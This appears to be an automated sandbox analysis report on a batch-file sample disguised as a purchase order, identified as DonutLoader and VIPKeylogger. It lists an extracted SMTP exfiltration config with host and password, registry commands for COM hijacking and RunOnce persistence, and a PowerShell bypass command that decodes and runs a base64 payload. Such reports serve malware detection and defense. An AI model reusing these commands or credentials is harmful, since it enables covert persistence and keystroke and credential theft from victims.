Analysis
- max time kernel
149s - max time network
128s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
16/04/2026, 00:27
General
- Target MR#099-PO-0798-04-2026-PR-0797-MQQ0869-Ref-009.bat
- Size 162KB
- Sample260416-ar2e4ac15n
- SHA256 b24eeb43cb6d9e2e6d66f67de9fde5eaee20bb0b488dea17eeb88c7f724b87a9
Malware Config
Extracted
-
vipkeylogger
-
Protocol
smtp
-
Host
mail.spacaex.com
-
Port
587
-
Username
-
Password
d!+L4UyRYkucBiOJ
-
Email to
Signatures
- Family: DonutLoader
DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.
- Family: VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
- Detects DonutLoader 1 IoCs
- Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
- Adds Run key to start application 2 TTPs 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Modifies registry class 6 IoCs
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of WriteProcessMemory 11 IoCs
- Views/modifies file attributes 1 TTPs 1 IoCs
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\MR#099-PO-0798-04-2026-PR-0797-MQQ0869-Ref-009.bat"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\MR#099-PO-0798-04-2026-PR-0797-MQQ0869-Ref-009.bat"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Bottle.bat"4⤵
- Views/modifies file attributes
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Classes\CLSID\{67E7F2DB-12FE-3BAA-A99A-51A94336C29B}" /ve /t REG_SZ /d "System Shell Extension" /f4⤵
- Modifies registry class
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Classes\CLSID\{67E7F2DB-12FE-3BAA-A99A-51A94336C29B}\InProcServer32" /ve /t REG_SZ /d "rundll32.exe" /f4⤵
- Modifies registry class
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Classes\CLSID\{67E7F2DB-12FE-3BAA-A99A-51A94336C29B}\InProcServer32" /v "ThreadingModel" /t REG_SZ /d "Apartment" /f4⤵
- Modifies registry class
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "Favor" /t REG_SZ /d "cmd.exe /c "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Bottle.bat"" /f4⤵
- Adds Run key to start application
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -nop -w h -ep bypass -c "$d=Get-Content 'C:\Users\Admin\AppData\Local\Temp\Necessarily.tmp' -Raw;$d=$d-replace'`r',''-replace'`n','';[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($d))|Out-File 'C:\Users\Admin\AppData\Local\Temp\mystery.ps1' -Encoding UTF8"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -nop -w h -ep bypass -f "C:\Users\Admin\AppData\Local\Temp\mystery.ps1"4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\mwukqy3s\mwukqy3s.cmdline"5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESDCD3.tmp" "c:\Users\Admin\AppData\Local\Temp\mwukqy3s\CSC802AF5E3684F4B8EA8B96AE9B4595E7D.TMP"6⤵
-
-
-
-
-
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Component Object Model Hijacking
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Component Object Model Hijacking
1Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
Necessarily.tmp
Necessarily.tmp
RESDCD3.tmp
__PSScriptPolicyTest_d03grs5j.pnn.ps1
mwukqy3s.dll
mystery.ps1
Bottle.bat
CSC802AF5E3684F4B8EA8B96AE9B4595E7D.TMP
mwukqy3s.0.cs
mwukqy3s.cmdline
memory/3116-81-0x0000000005240000-0x000000000528A000-memory.dmp
memory/3116-79-0x00000000029E0000-0x00000000029F6000-memory.dmp
memory/5260-76-0x0000022B08C30000-0x0000022B08C3C000-memory.dmp
memory/5260-75-0x0000022B08B30000-0x0000022B08B61000-memory.dmp
memory/5328-83-0x000002C6EF000000-0x000002C6EF031000-memory.dmp
memory/5328-84-0x000002C6EF170000-0x000002C6EF17C000-memory.dmp
memory/5328-78-0x000002C6F10B0000-0x000002C6F10B8000-memory.dmp
memory/5328-85-0x000002C6F0D20000-0x000002C6F0D32000-memory.dmp
memory/5516-37-0x000001B3799C0000-0x000001B3799D0000-memory.dmp
memory/5516-38-0x000001B3799C0000-0x000001B3799D0000-memory.dmp
memory/5516-46-0x000001B3799C0000-0x000001B3799D0000-memory.dmp
memory/5516-39-0x000001B3799D0000-0x000001B3799F2000-memory.dmp
memory/5516-53-0x000001B379960000-0x000001B379972000-memory.dmp
memory/5516-52-0x000001B35FB00000-0x000001B35FB0C000-memory.dmp
memory/5516-51-0x000001B35F9C0000-0x000001B35F9F1000-memory.dmp
memory/6016-72-0x0000019EB1140000-0x0000019EB114C000-memory.dmp